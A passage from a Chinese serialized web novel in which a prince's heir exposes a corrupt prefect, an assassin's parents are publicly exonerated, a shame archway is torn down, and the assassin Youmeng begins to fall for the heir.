他猛地站起身,居高临下地俯视着两位封疆大吏,眼中怒火如实质般燃烧: “告诉我!你们这两位坐镇河北道的封疆大吏!是眼睛瞎了?!聋了?!还是根本就是和他陈昌黎串通一气?!沆瀣一气?!!” 无形的威压如同山岳般轰然压下!李崇文只觉得一股寒气从脚底板直冲天灵盖,双腿一软,“噗通”一声重重跪倒在地! 额头瞬间渗出豆大的冷汗,顺着鬓角滑落,滴在冰冷的砖石上。 “世子息怒!世子息怒啊!” 李崇文的声音带着哭腔,身体抖如筛糠,“下官在来的路上已听闻此事,陈昌黎大逆不道,草菅人命,下官身为他的上司,万死难辞其咎!此事确系下官监察不力,驭下无方,下官不敢辩解,请世子重重责罚!下官绝无半句怨言!” 他磕头如捣蒜,额头撞击青砖发出沉闷的“咚咚”声,姿态卑微到了尘埃里。 一旁的赵怀安虽未下跪,但也是深深躬身,抱拳行礼,军人的刚硬姿态中带着不容置疑的忠诚与愧疚:“世子!末将赵怀安!此事末将亦有失察之责!末将虽主理军务,对地方政务涉足不深,但沧州乃河北道重镇,末将未能察觉此獠祸心,致使百姓受苦,忠良蒙冤!末将愧对王爷栽培,愧对世子信任!” 他猛地抬头,眼中闪过一丝军人的狠厉,“此等祸国殃民、丧尽天良的狗官!千刀万剐亦不足惜!末将请命!愿亲自监刑!将其枭首示众!以儆效尤!告慰冤魂!” 林臻冰冷的目光扫过两人。 赵怀安是爷爷一手提拔起来的悍将,忠心毋庸置疑,其职责主要在军,地方政务确实非其管辖重点。 他的怒火稍敛一分,但转向李崇文时,那冰寒却更甚! “责罚?监刑?”林臻的声音带着一丝讥讽,“处置一个地方上的贪官污吏,还用不着劳动你们二位封疆大吏亲自操刀!本世子亲自来沧州,不是来杀一个陈昌黎的!” 他向前一步,目光如刀,直刺李崇文: “我气的是如此滔天罪行,如此骇人听闻的冤案!就在你冀州刺史李崇文的眼皮子底下盘踞二十年之久,你竟然告诉我你不知道?!!” “李崇文,你每年按例巡查各州府,而沧州就在你冀州治下,陈昌黎年年向你述职,岁岁向你缴税,你知不知道他府邸豪奢已经远超规制,他手下官员多有怨言,你当真一丝风声都未曾听到?!还是说——” 林臻的声音陡然拔高,如同惊雷炸响: “你收了他的好处,替他遮掩?!与他同流合污?!!” “世子明鉴!下官不敢!万万不敢啊!!”李崇文吓得魂飞魄散,身体抖得几乎要瘫软在地,声音嘶哑尖利。 “下官虽每年例行巡查,但陈昌黎此人极其狡猾,他表面功夫做得极好,府衙账目,至少明面上的账目做得滴水不漏!下官也曾听闻一些风言风语,但苦无实证!加之他他当年守城确有些微名,下官顾虑重重未能深究,下官有罪!下官该死!但下官敢对天发誓!下官绝未收受过陈昌黎一分一毫的贿赂!绝无包庇!更无串通!若有半句虚言,天打雷劈!九族尽灭啊!!” 他指天画地,涕泪横流,额头早已磕得一片青紫,血丝渗出。 林臻死死盯着他。 其实古人不常发誓,但只要敢发誓基本就是真的,不会像后世的谎言那么不值钱。 再说,贪没贪,查查就知道,林臻不信这个节骨眼李崇文还敢刷心眼,那真是活得不耐烦了。 “好。”林臻终于开口,声音冷冽依旧,“你的话本世子记下了。即刻起,由本世子带来的暗卫会同冀州按察使司,彻查你冀州刺史府近十年所有与沧州府的往来文书、账目!清查你李崇文及所有直系亲属名下所有产业、田亩、商铺!若有半分不干净……” 他微微俯身,凑近李崇文那张因恐惧而扭曲的脸,一字一句,清晰无比地说道: “我保证,你会死得比陈昌黎惨一百倍!” 李崇文浑身剧震,如同被抽干了所有力气,瘫软在地,只剩下粗重的喘息和绝望的呜咽。 沧州府衙地牢,深处。 这里阴暗、潮湿,空气中弥漫着浓重的霉味、血腥味和排泄物混合的恶臭。 冰冷的石壁上凝结着水珠,滴答作响。 这里是陈昌黎亲自下令建造、用以关押重犯和政敌的水牢区域,如今却成了他自己的囚笼。 狱卒们得了上峰严令,不得让陈昌黎轻易死去,但特殊照顾却是免不了的。 谁让这狗官在任时克扣饷银、纵容亲属在狱中作威作福? 如今落难,正是有冤报冤、有仇报仇的时候。 因此,陈昌黎的牢饭是馊的,饮水是污浊的,偶尔还能享受到狱卒们不小心泼进来的脏水,以及黑暗中不知从何处飞来的石子。 短短几日,他便被折磨得不成人形。 第609章 斩草除根! 最深处一间特制的铁栅栏牢房内,陈昌黎如同一滩烂泥般瘫在冰冷的石地上。 昔日油光水滑的头发如同枯草般纠结散乱,沾满了污秽。 那张保养得宜的胖脸此刻灰败浮肿,布满青紫的淤痕,嘴角干裂,眼神空洞呆滞,仿佛被抽走了魂魄。 昂贵的锦缎官袍早已被扒下,换上了肮脏破烂的囚服,上面沾满了泥泞和暗褐色的污渍。他蜷缩在角落,身体因寒冷和恐惧而微微颤抖。 一阵极其轻微、却与这死寂环境格格不入的脚步声由远及近。 脚步声停在牢门前。 陈昌黎迟钝地抬起头,浑浊的眼珠在昏暗的光线下努力聚焦。 当看清牢门外那道身影时,他那死灰般的眼中骤然爆发出如同溺水者抓住最后一根稻草般的狂喜光芒! 是那个仙子! 世子身边那个穿橙衣的仙子! “仙……仙子!神仙姐姐!!” 陈昌黎如同被注入了一针强心剂,猛地从地上弹起,手脚并用地爬到铁栅栏前! 枯瘦肮脏的手指死死抓住冰冷的铁条,将脸拼命挤在缝隙中,涕泪横流,声音嘶哑地哭嚎哀求: “神仙姐姐!您是大慈大悲的活菩萨!求求您,求求您救救下官,救救下官这条狗命吧!下官知错了,真的知错了,下官愿意把所有家产,所有金银财宝全都献给世子!献给仙子您!只求世子开恩饶下官一条贱命啊!” “下官愿意给世子当牛做马,做最下贱的奴才!求求您了神仙姐姐,发发慈悲吧!!” 他一边哭嚎,一边用额头疯狂地撞击着铁栅栏,发出“砰砰”的闷响,额头上很快又添新伤,鲜血混着泪水鼻涕糊了一脸,状若疯癫,卑微下贱到了极点。 橙萱站在牢门外,一身明媚的橙黄色长裙在昏暗污浊的地牢里显得如此格格不入。 她微微俯身,看着栅栏里那张因极度恐惧和求生欲而扭曲变形的脸,唇角缓缓勾起一抹冰冷而残忍的弧度。 “救你?”她的声音清脆悦耳,却带着淬毒的寒意,“陈大人,您可是堂堂沧州太守,一州父母官呢。怎么?现在知道求饶了?” “求!下官求!下官跪着求!趴着求!怎么求都行!”陈昌黎语无伦次。 橙萱脸上的笑容更深了:“那救你之前呢……我得先问你点事。” “仙子请问!下官知无不言言无不尽,绝不敢有半句隐瞒!”陈昌黎如同抓住了救命稻草。 橙萱蹲下身,隔着冰冷的铁栏,声音轻柔得像情人间的呢喃,却字字如刀:“郑老太太,就是个郑有财的老婆,她是怎么死的?” “郑……郑老太太?”陈昌黎一愣,眼中闪过一丝不易察觉的慌乱,随即是更深的恐惧,“她不是自己失足掉井里淹死的吗?都……都死了快二十年了……仙子问这个干什么?” “掉井里?”橙萱冷笑一声,打断他,声音陡然转寒,带着刺骨的威胁,“陈昌黎,你当我是三岁小孩呢?还是觉得我手中的剑不够快?!” 她缓缓站起身,右手看似随意地搭在了腰间的剑柄上,拇指轻轻摩挲着冰凉的剑镡,发出细微却令人心悸的摩擦声。 昏暗的光线下,她那双清澈的眸子此刻却如同淬了寒冰的刀锋,直刺陈昌黎的灵魂深处: “本仙子耐心有限。再敢用失足这种鬼话糊弄我,我就让你亲身体验一下什么叫真正的失足!而且是永远爬不上来的那种!” 无形的杀气如同实质的冰锥,瞬间刺穿了陈昌黎最后的心理防线! 他看着橙萱那双毫无温度的眼睛,感受着那搭在剑柄上、随时可能拔出的手带来的致命威胁,一股彻骨的寒意从尾椎骨直冲头顶! 他知道,眼前这个看似娇俏的少女绝对说到做到! 她真的会杀了他! “不……不要!仙子饶命!饶命啊!!”陈昌黎吓得魂飞魄散,再也顾不得任何侥幸,心理防线彻底崩溃!他双手死死抓住铁栏,涕泪横流,声音因极度的恐惧而扭曲变形: “我说!我说实话!是……是我派人把她弄死的!!” 他仿佛用尽了全身力气喊出这句话,随即瘫软在地,大口喘着粗气,如同一条濒死的鱼。 橙萱瞳孔骤然收缩! 搭在剑柄上的手猛地攥紧! 一股冰冷的怒火瞬间席卷全身! 她强压着立刻拔剑的冲动,声音如同从牙缝里挤出来:“说清楚!时间!地点!过程!派了谁?!一个字都不许漏!!” “是……天保十七年秋天……大概是九月……对!九月!”陈昌黎语无伦次,巨大的恐惧让他不敢有丝毫隐瞒,“就在判了郑元德夫妇死刑押赴刑场后的第三天夜里……” 他眼神涣散,仿佛陷入了那晚恐怖的回忆: “我害怕……我怕那老婆子反悔,怕她哪天喝多了或者良心发现,把我和她合谋诬陷儿子儿媳的事情抖出来……那我就完了!” “所以……所以那天晚上……我找了我最信任的心腹长随陈三!他他是我从老家带来的家生子,绝对可靠。” 陈昌黎的声音因恐惧而颤抖得不成样子: “我让他去溪林村找郑王氏,就说我这里有关于郑家田产过户的紧要文书,必须她连夜签字画押,于是陈三把她骗到村西头那口早就废弃的枯井旁边。” “陈三他……他趁那老婆子低头看假文书的时候……从后面……” 他猛地抬起枯瘦的手,做了一个向前猛推的动作,脸上充满了狰狞和后怕: “就那么顺手一推,她连叫都没叫一声就掉下去了,噗通一声!!” “陈三后来回报说,他趴在井口往下看,黑漆漆的什么也看不见。只听见下面扑腾了几下,就没声了……” 他浑身剧烈地哆嗦着,仿佛又回到了那个充满罪恶的夜晚,声音带着哭腔:“下官……下官也是没办法啊!不除掉她,下官寝食难安啊!仙子,下官知错了,真的知错了!!” 他再次磕头如捣蒜,试图用忏悔换取一线生机。 “寝食难安?呵……”橙萱缓缓直起身,居高临下地俯视着脚下如同烂泥般卑微求饶的陈昌黎。 那张明媚的脸上,此刻没有任何表情,只有一种冻结了所有情绪的、极致的冰冷。 她搭在剑柄上的手,指节因过度用力而微微泛白。 她知道了。 她终于亲耳听到了这最肮脏、最卑劣的真相! 这个狗官! 为了掩盖自己贪赃枉法、构陷忠良的罪行! 为了永绝后患! 竟然在害死幽梦父母之后,又派人将幽梦的奶奶——那个同样被他利用、同样背负着罪恶感的老妇人骗到井边,推了下去! 杀人灭口!斩草除根! 第610章 找人给他止血,别让他死了 一股难以言喻的、混杂着恶心、愤怒、以及为幽梦感到无边悲痛的狂暴情绪,如同火山般在她胸中猛烈喷发! 几乎要将她的理智彻底焚毁! “陈昌黎……”橙萱的声音平静得可怕,却蕴含着足以冻结灵魂的杀意,“你坑害我姐姐全家!令其父母蒙冤受辱,令其骨肉流离失所!!” 她猛地抬脚! “哐当!”一声巨响! 那穿着精致绣鞋的脚,带着雷霆万钧之势,狠狠踹在铁栅栏上! 巨大的震动让整个牢房都嗡嗡作响! 陈昌黎吓得怪叫一声,连滚爬带地向后缩去! 橙萱的声音如同来自九幽地狱: “今日我就替姐姐,讨回一点利息!” “狱卒!开门!”她厉声喝道! 牢门打开。 橙萱一步踏入这肮脏腥臭的囚笼! “你……你要干什么?!别过来!别过来!!”陈昌黎发出凄厉的尖叫! 橙萱身形如电,一脚狠狠印在陈昌黎那张涕泪横流的胖脸上! “嘭!” “啊——!!”陈昌黎被踹飞撞墙,鼻梁碎裂,鲜血狂喷! 未等他落地,橙萱另一只脚带着更狠、更毒的力道,精准无比地、重重地踢在了陈昌黎双腿之间的要害处! “嗷呜!!!” 一声不似人声的、凄厉到极致的惨嚎猛地响起! 陈昌黎如同被扔进滚油锅的虾米,弓起身体,双手死死捂住裆部,眼球暴突,喉咙里发出“嗬嗬”的倒气声,剧烈抽搐几下,彻底昏死过去! 一股浓重的骚臭味弥漫开来。 橙萱嫌恶后退,冷冷道:“找人给他止血,别让他死了。世子留着他这条狗命还有用。” “是。” ...... 数日后,沧州城。 天色阴沉,铅灰色的云层低低压着城头。 然而,沧州城的主干道两侧,早已被人山人海淹没! 无数百姓扶老携幼,翘首以盼,脸上交织着好奇、兴奋、以及压抑了太久即将喷薄而出的愤怒! “来了!来了!” 骚动如同涟漪般扩散! 街道尽头,一队盔甲鲜明的沧州卫兵开道,沉重的脚步声踏在青石板上,发出整齐肃杀的“踏踏”声。 紧随其后的,是一辆没有顶棚、只有粗木栅栏的囚车! 由两匹瘦骨嶙峋的老马拖着,缓缓前行。 囚车中,陈昌黎被扒去所有象征身份的衣物,只穿着一件肮脏不堪、血迹斑斑的白色囚服。 肥胖的身体被粗大的铁链捆缚在囚车中央的木桩上,动弹不得。 那张脸肿胀如猪头,青紫交加,口鼻处凝固着暗黑色的血痂,双目无神地半睁着,眼神涣散,如同行尸走肉。 “狗官!!” “陈昌黎!你这个天杀的狗官!!” “贪官!还我血汗钱!!” “打死他!打死这个害人精!!” 山呼海啸般的怒骂瞬间爆发! 压抑了二十年的愤怒、被盘剥的屈辱、失去亲人的痛苦如同决堤的洪水! 烂菜叶! 臭鸡蛋! 腐臭的污泥! 甚至夹杂着石块! 如同暴雨般砸向囚车! 砸向那个被捆缚的肥胖身躯! “啪!”一颗臭鸡蛋精准砸在陈昌黎额头,腥臭蛋液流下。 “噗!”一团烂菜叶糊住他半张脸。 “咚!”一块小石子砸在他肩胛骨,痛得他闷哼。 “畜生!还我爹的命来!” “我女儿被你卖到哪里去了?!还我女儿!” “打死他!打死这个狗官!” 人群推搡着,怒吼着,试图冲破卫兵阻拦。 囚车在汹涌的人潮和漫天的污秽中艰难前行。 陈昌黎早已被砸得面目全非,囚服污秽不堪,身上挂满烂菜叶和蛋壳碎片,散发着恶臭。 他偶尔抬起眼皮,看到那一张张因愤怒而扭曲的脸,听到那一声声泣血的控诉,涣散的瞳孔里只剩下彻底的麻木和绝望。 他知道,他完了。 他的名声,尊严,一切,都被彻底碾碎。 囚车驶出沧州城门,沿着官道,向着二十里外的溪林村而去。 沿途村庄闻讯,无数村民自发聚集在道路两旁,重复着城内的愤怒与宣泄。 当囚车终于抵达溪林村东口时,那座巨大的、刻着“杀父通奸,人神共弃”八个血淋淋大字的石牌坊,如同一个沉默而狰狞的巨人,矗立在所有人的视野中。 牌坊下,早已是人头攒动。 溪林村以及附近十里八乡的村民几乎倾巢而出,将这片空地围得水泄不通。 他们看着那辆缓缓驶近的囚车,看着车上那个被砸得不成人形的“狗官”,看着那座如同耻辱柱般压了他们二十年的巨大牌坊,眼神复杂无比。 有快意,有悲愤,有茫然,也有长久压抑后终于看到一丝曙光的激动。 囚车在牌坊正下方停住。 陈昌黎被粗暴地从囚车上拖了下来,像一滩烂泥般扔在牌坊冰冷巨大的基座旁。 他瘫软在地,连抬头的力气都没有。 冀州刺史李崇文和沧州府新任代太守一同走到牌坊前临时搭建的木台上。 李崇文脸色苍白,但强自镇定。 他展开一份盖着冀州刺史大印和沧州府印的文书,深吸一口气,用尽全身力气,将声音传遍全场: “沧州父老乡亲!今日!奉大乾世子殿下钧令!在此宣读沧州前太守陈昌黎罪状!并为二十年前溪林村郑元德、柳氏夫妇——昭雪沉冤!!” 全场瞬间死寂!所有目光都聚焦在那份文书上! “查!沧州前太守陈昌黎!自天保十三年至永泰元年任内!罪证确凿如下: 一、贪墨国帑,数额巨大!私吞赋税、赈灾款项、军需物资,折合白银一百三十七万两!黄金八万两!珍玩古器不计其数! 二、私通敌国!藏匿北燕王帐信物!与北燕商人秘密交易,输送禁物,资敌叛国! 三、豢养山匪!纵容其劫掠商旅,残害百姓!坐地分赃! 四、草菅人命!构陷忠良!天保十七年,为掩盖其侵吞郑家田产之实,收受郑王氏(幽梦奶奶)贿赂,罔顾事实,罗织罪名!将无辜村民郑元德、柳氏夫妇屈打成招,诬以‘弑父’、‘通奸’之滔天罪名!判处绞决、杖毙!致使忠良含冤惨死!贞妇蒙受奇耻大辱!更立此污名牌坊,遗毒乡里二十载!其心可诛!其行当剐! 五、贪淫好色,残害妇孺!查实陈昌黎任内,多次利用职权,威逼利诱,奸淫良家妇女!尤其对守寡妇人郑王氏(幽梦奶奶),见其略有姿色,便多次威逼利诱,与其行苟且之事!天保十七年秋,陈昌黎为掩盖其构陷郑元德、柳氏夫妇之罪行,恐郑王氏(幽梦奶奶)泄露其勾结作伪证之实,遂指使其心腹长随陈三,将郑王氏诱骗至溪林村西枯井旁,趁其不备,狠心推入井中溺毙!伪造失足落井假象!手段残忍,灭绝人性!罪不容诛!” 第611章 沉冤已雪,污名已除 一条条罪状,如同重锤,狠狠砸在每一个村民的心上! 当念到第四条、第五条, 念到郑元德、柳氏、屈打成招、诬陷、含冤惨死、贞妇蒙羞、奸淫、推入枯井溺毙这些字眼时,人群中爆发出压抑不住的抽泣声! 许多老人掩面而泣,年轻人攥紧了拳头,眼中含泪! 郑婆子站在人群前排,更是哭得几乎晕厥过去! “今!查证属实!铁证如山!陈昌黎罪大恶极!罄竹难书!依大乾律,数罪并罚,当处极刑!待押解入京,由刑部、大理寺复核后明正典刑!” 李崇文的声音陡然拔高,充满了沉痛与肃穆: “另!经冀州按察使司、沧州府衙联合重查!天保十七年溪林村郑元德、柳氏夫妇一案——纯属构陷!实乃千古奇冤!!” 他猛地转身,戟指那座巨大的牌坊,声音如同洪钟,响彻云霄:“郑元德,忠厚勤劳,孝悌有加,绝非弑父凶徒!柳氏贞洁贤淑,温婉持家,绝无通奸乱伦!其夫妇二人清白无辜,蒙冤受屈二十载!今日——特此昭告天下!为其洗雪沉冤!还其清白之名!!” “此牌坊乃陈昌黎构陷忠良、玷污清白的罪证,乃我沧州之耻,大乾律法之耻!今日奉世子钧令,当众毁之!以慰冤魂!以正视听!!” “毁——!!!” 随着李崇文最后一个字如同炸雷般落下! 早已等候在牌坊基座四周、手持巨大铁锤和钢钎的数十名精壮军士(赵怀安亲自调来的边军)齐声怒吼! “轰——!!” “哐当——!!” 沉重的铁锤带着积压了二十年的愤怒与力量,狠狠砸向那巨大的石柱基座! 钢钎楔入石缝,撬动那象征着不公与耻辱的基石! 第一锤落下,石屑纷飞!巨大的撞击声震得人心头发颤! 第二锤砸下,裂纹如蛛网般蔓延!发出令人牙酸的“嘎吱”声! 第三锤!第四锤! 锤影翻飞,钢钎撬动! 军士们赤膊上阵,汗水混着石粉流淌,每一次挥锤都倾尽全力,仿佛要将这二十年的屈辱彻底砸碎! 在震耳欲聋的撞击声和石料崩裂的巨响中,在无数双含泪的、激动的、期盼的目光注视下,那座矗立了二十年、压得整个溪林村乃至沧州百姓喘不过气的巨大石牌坊,开始剧烈地摇晃! 发出令人心悸的呻吟! 顶端的石兽仿佛在哀鸣! “轰隆隆——!!!” 终于! 伴随着一声惊天动地的巨响! 那刻着八个血淋淋大字的巨大石匾连同支撑的立柱,在烟尘弥漫中,如同被斩断脊梁的巨兽,轰然倒塌! 重重砸落在地,溅起漫天尘土! 碎石飞溅,滚落一地! 尘土飞扬,遮蔽了半边天空!那座象征着无尽屈辱与不公的庞然大物,彻底化为了一地破碎的乱石! “倒了!倒了!!” “牌坊倒了!!” “郑大郎!柳嫂子!你们看见了吗?!牌坊倒了!!” “老天开眼啊——!!” 人群爆发出震耳欲聋的欢呼与哭喊! 许多人跪倒在地,朝着那堆废墟痛哭流涕! 老人们相互搀扶着,老泪纵横;年轻人激动地挥舞着手臂,高声呐喊;孩子们懵懂地看着,却也感受到那份迟来的悲壮与解脱。 郑婆子扑倒在废墟前,双手颤抖地抚摸着那些断裂的石块,哭得撕心裂肺:“大郎!柳妹子!你们……你们可以瞑目了!牌坊倒了!你们的冤屈洗刷了!!” 橙萱站在人群外围,看着那轰然倒塌的牌坊,看着漫天飞扬的尘土,看着周围激动痛哭的村民。 她没有欢呼,也没有流泪。 只是静静地站着,任由那喧嚣与悲喜的洪流从身边奔涌而过。 她缓缓抬起手,轻轻按在自己腰间的佩剑上。 那冰冷的触感依旧,但心中那份因牌坊而起的、无处宣泄的暴戾与绝望,似乎也随着那堆废墟的倒塌,悄然散去了一部分。 她抬起头,望向阴沉沉的天空。 厚重的云层似乎裂开了一道缝隙,一缕微弱的、却无比坚定的阳光,穿透云层,洒落在那片刚刚被砸碎的耻辱之地上,也照亮了她眼中那抹复杂难明、却不再迷茫的光芒。 沉冤已雪,污名已除。 但前路……依旧漫长。 ...... 京城,镇北王府,内院东厢。 幽梦所居的侧厢房内,气氛沉静。 她端坐在一张简朴的榆木圈椅中,腰背习惯性地挺得笔直,如同随时准备出鞘的利剑。 午后的阳光透过雕花窗棂,在她那身深蓝近紫的劲装上投下斑驳的光影,也照亮了她英气俊朗却略显冷峻的侧脸。 一名身着灰布短打、作普通少女打扮的年轻女子垂手侍立在她面前,声音压得极低,却字字清晰,如同珠落玉盘:“沧州急报,幽梦姐。世子殿下亲自去了溪林村。” “他真去了?”幽梦握着茶杯的手指几不可察地微微一紧,杯中的水面漾开一丝微澜。 她不动声色,只微微颔首,示意对方继续。 “嗯!世子走访了村中几位老人,包括郑婆子,随后直奔沧州府衙,提审了陈昌黎那狗官!” 幽梦急切的问:“郑婆子?她以前是我家丫鬟,她过的还好吗?具体说说。” 少女的声音带着一丝不易察觉的激动,语速加快: “嗯,世子殿下调阅了当年的卷宗!当堂揭穿了陈昌黎贪墨、通敌、豢匪、构陷忠良的滔天罪行!更查实了那狗官派人害死郑老太太的罪证!” 幽梦的呼吸骤然一窒! 那双锐利如鹰隼的眼眸猛地抬起,死死盯住少女! 她那个模糊的、在她带着弟弟逃离前就已失足落井的,后进门的奶奶竟然也是被陈昌黎害死的?! 好啊,死的好,我说当年想杀她的时候怎么找不到人了呢。 只是可惜,没死在我手里。 这个消息如同冰冷的毒刺,狠狠扎进她尘封的记忆! 少女感受到那目光中的压力,声音更低,却带着一股解气的快意: “世子殿下雷霆手段,当场拿下陈昌黎,抄没其家产,更在溪林村口那座牌坊之下,召集了沧州官员和无数百姓!当众宣读罪状!昭告天下——” 少女深吸一口气,声音带着颤抖的激动: “郑元德、柳氏夫妇清白无辜!蒙冤受屈二十载!今日沉冤昭雪!!” “轰——!” 仿佛一道无声的惊雷在幽梦脑中炸开! “哐当!”一声脆响! 她手中那只温润的白瓷茶杯脱手坠落,在青砖地面上摔得粉碎! 滚烫的茶水溅湿了她的裙摆和靴面,她却浑然不觉! 第612章 还不是为了让你效忠 “清……清白……昭雪……”幽梦喃喃重复着这四个字,每一个字都像重锤砸在她心坎上! 那双总是冷冽如冰、锐利逼人的眼眸,此刻如同被投入石子的寒潭,瞬间掀起滔天巨浪! 震惊、难以置信、巨大的狂喜、积压了二十年的委屈与悲愤……种种情绪如同决堤的洪水,汹涌地冲垮了她所有坚强的伪装! 她猛地站起身! 身体因为巨大的情绪冲击而微微颤抖! 那双握惯了刀剑、骨节分明的手,此刻却不受控制地死死攥紧! 指甲深深嵌入掌心,带来尖锐的刺痛感,却丝毫无法缓解那几乎要将她撕裂的激动! 堂堂大乾世子。 身份何等尊贵? 权势何等滔天? 他……他竟然为了她一个区区杀手,为了她父母那桩早已被世人遗忘、被官府钉死在耻辱柱上的陈年旧案,亲自奔波千里! 深入乡野,直面污秽,调阅卷宗,擒拿太守! 甚至……甚至不惜动用威势,召集万民,当众昭雪沉冤! 为她那含恨而终的父母洗刷了背负二十年的污名! 砸碎了那座压得她喘不过气的耻辱牌坊!! 这份情……这份恩……这份重逾泰山的恩情! 让她如何承受?! 如何回报?! 滚烫的泪水,毫无征兆地冲破了冰冷的堤防,如同断了线的珠子,大颗大颗地从她那双英气逼人的眼眸中滚落,砸在冰冷的地砖上,也砸碎了她二十年来用仇恨和杀戮筑起的坚硬外壳! 她紧咬着下唇,试图阻止那汹涌的泪意,却徒劳无功。 身体微微颤抖着,那无声的落泪,比任何嚎啕大哭都更显悲怆与震撼! “世子殿下……”她声音哽咽,带着浓重的鼻音,几乎不成调,“属下……属下何德何能……让您如此……” 后面的话,被汹涌的泪水堵在喉咙里,再也说不出来。 唯有那紧攥的双拳,因为用力过度而指节发白,微微颤抖,泄露着她内心翻江倒海般的感激与无以言表的震撼! 就在这时,门口珠帘轻响。上官婉儿穿着一身淡雅的月白色襦裙,扶着丫鬟芸香的手,笑盈盈地走了进来。 她显然听到了屋内的动静,目光扫过地上碎裂的茶杯、幽梦泪痕未干却依旧挺直的背影,以及那少女恭敬垂首的姿态,心中已然明了。 “幽梦妹妹,”婉儿的声音温婉如水,带着洞悉一切的柔和,“我说什么来着?” 她缓步走到幽梦身边,轻轻拍了拍她因激动而微微颤抖的肩膀,“夫君他啊,答应过的事情就一定会做到。你看,这不就办成了?你父母沉冤得雪,污名尽除,那座压了你二十年的牌坊也倒了。从今往后啊,你就安安心心地在王府住下,这里就是你的家。” 幽梦猛地转过身! 她甚至顾不得擦去脸上的泪痕,对着婉儿,单膝重重跪地! 动作干脆利落,带着类似军人般的决绝! 她抬起头,那双被泪水洗过的眼眸清澈见底,充满了前所未有的坚定与忠诚: “夫人!世子殿下大恩如同再造!属下……属下无以为报!此生此世,幽梦这条命就是夫人和世子的,刀山火海万死不辞!!” 她的声音铿锵有力,掷地有声,每一个字都发自肺腑! 婉儿看着跪在面前的幽梦,眼中满是欣慰的笑意。 她伸手将幽梦扶起:“快起来傻妹妹。一家人说什么报不报的。” 她替幽梦理了理鬓边一丝微乱的短发,动作自然亲昵,“今天天气不错,闷在屋里做什么?陪我去青霞姐姐那里走走可好?” 幽梦用力吸了吸鼻子,迅速抹去脸上的泪痕,那股属于顶尖杀手的利落和英气瞬间又回到了她身上。 她甩了甩那头清爽帅气的短发,眼神恢复了往日的锐利与沉稳,只是眼底深处多了一抹难以化开的暖意: “是!属下听夫人的!” 婉儿含笑点头,带着芸香在前。 幽梦紧随其后,那名报信的少女也默默跟在幽梦身后几步远的地方。 四人沿着王府内院曲折的回廊,向着青霞所居的别院方向缓步而行。 时值暮春向初夏过渡的时节,王府内草木葱茏,繁花似锦。 微风拂过庭院,带来阵阵草木清香和隐约的花香,吹散了方才屋内的沉重。 阳光透过枝叶缝隙洒下,在青石板路上投下斑驳的光影。 行走间,婉儿状似随意地开口,声音轻柔:“幽梦妹妹,你们天道十二仙,个个都是身怀绝技、心志坚韧的女子。只是想必也都和妹妹一样,背负着各自的过往和心结吧?” 她侧头看向幽梦,眼神带着关切,“如今你的心事已了,可知道其他姐妹中,还有谁的心结未曾解开吗?” 幽梦脚步微顿,英气的眉头轻轻蹙起,似在认真思索。 片刻后,她沉声道:“回夫人,天道姐妹大多性子刚烈。这些年,凭着自己的本事,许多姐妹的仇怨都已亲手了结。据属下所知……” 她顿了顿,语气带着一丝不易察觉的叹息,“紫菱妹妹她心中的结,恐怕还未解开。她似乎一直未能从过去的事情中走出来。” “紫菱……”婉儿若有所思地点点头,脸上露出一丝了然。 “她在灵儿妹妹那里。灵儿那丫头心思玲珑剔透,智计百出,连夫君都时常夸她,说她的脑子比夫君自己转得还快呢。有她在紫菱身边开解照顾,想必会好起来的。” 她说着,轻轻叹了口气,那叹息中带着一丝复杂难明的意味,“唉,说起来,我们夫君啊,心思细得跟针尖似的。他总担心外面那些魑魅魍魉会对我们这些内宅女眷不利,可对天道营的姐妹们又始终存着一份疑虑,无法全然信任。” 婉儿的声音轻柔,却带着洞察世事的通透:“所以啊,他才要费尽心思,去帮你们解决这些陈年旧事,解开你们的心结。他这么做,固然是出于一份仁厚之心,不忍见你们背负血海深仇。但更深一层……何尝不是想借此真正赢得你们天道十二仙死心塌地的效忠呢?” 她微微侧目,看着幽梦英挺的侧脸,语气带着一丝不易察觉的感慨: “为了护住这王府后院的一方安宁,为了让我们这些手无缚鸡之力的女眷能高枕无忧……他堂堂一个世子,却要亲自去翻那些陈年旧案,去和那些地方上的污糟烂事打交道,也真是辛苦他了。” 第613章 这得是多好的男人啊 幽梦静静地听着,心中却掀起了巨大的波澜! 原来世子他竟是存了这样的心思?! 他担心内眷安危,却又无法完全信任天道营的力量,所以不惜亲自出手,为她们这些杀手解决最深的执念,以此换取她们绝对的忠诚?! 这份心机……这份深谋远虑…… 这份为了家人安危而甘愿放下身段、亲力亲为的担当…… 让幽梦在震撼之余,更涌起一股难以言喻的复杂情绪。 这得是多好的男人啊? 幽梦忍不住在心中自问。 位高权重,却心思细腻,重情重义,为了家人的平安,可以做到这一步…… 如果我能遇见…… 她脑海中不由自主地浮现出林臻那张时而促狭、时而威严、时而深沉的俊朗面容。 他策马奔驰的英姿,他谈笑间掌控全局的气度,他为自己父母洗雪沉冤时的决绝……一幕幕画面闪过。 “说不定……已经遇见了呢……”一个微不可闻的声音在她心底悄然响起。 这个念头一起,幽梦只觉得一股热流猛地涌上脸颊! 那英气逼人、线条明晰的脸庞上,竟不受控制地飞起两抹淡淡的、极其罕见的红晕! 如同冰山上骤然绽放的雪莲,带着一种惊心动魄的、与她气质截然相反的娇羞之美! 等她回来,我一定要好好谢谢他! 如果可以,就把自己奉献给他也好。 这个大胆的念头如同野火般在她心中蔓延,让她心跳加速,耳根都微微发烫。 “傻丫头,”婉儿带着笑意的声音如同清泉,瞬间打断了幽梦纷乱的思绪,“想什么呢?脸这么红?” 婉儿那双温婉的眸子带着促狭的笑意,精准地捕捉到了幽梦脸上那抹稍纵即逝的红晕,“难不成……是在想我的夫君?” “夫……夫人!”幽梦如同被踩了尾巴的猫,瞬间闹了个大红脸! 那抹红晕迅速蔓延至脖颈,连耳尖都红透了! 她下意识地想要否认,声音却带着一丝不易察觉的慌乱, “属下……属下万万不敢僭越!属下只愿长伴夫人左右,护卫夫人周全便好!” 她微微低下头,试图掩饰自己的窘迫。 “呵呵呵……”婉儿掩唇轻笑,笑声如同银铃般悦耳, “不敢僭越?傻妹妹,若是在那古板守旧的秦国,以你的出身,自然是登不得大雅之堂,更遑论入我夫君的眼。”她话锋一转,语气带着一种豁达与包容, “但这里是乾国!夫君他也总在我耳边念叨,说什么‘婉儿啊,你这思想也得改改,别总拿老一套框人’……” 婉儿停下脚步,转身正对着幽梦,目光温和而认真: “若非如此,你以为我会容忍一个曾经刀口舔血的顶尖杀手,日日贴身护卫在我身边?甚至还想着把你推给夫君?” 她看着幽梦眼中闪过的震惊,轻轻叹了口气,语气带着一丝王府主母的无奈与远见: 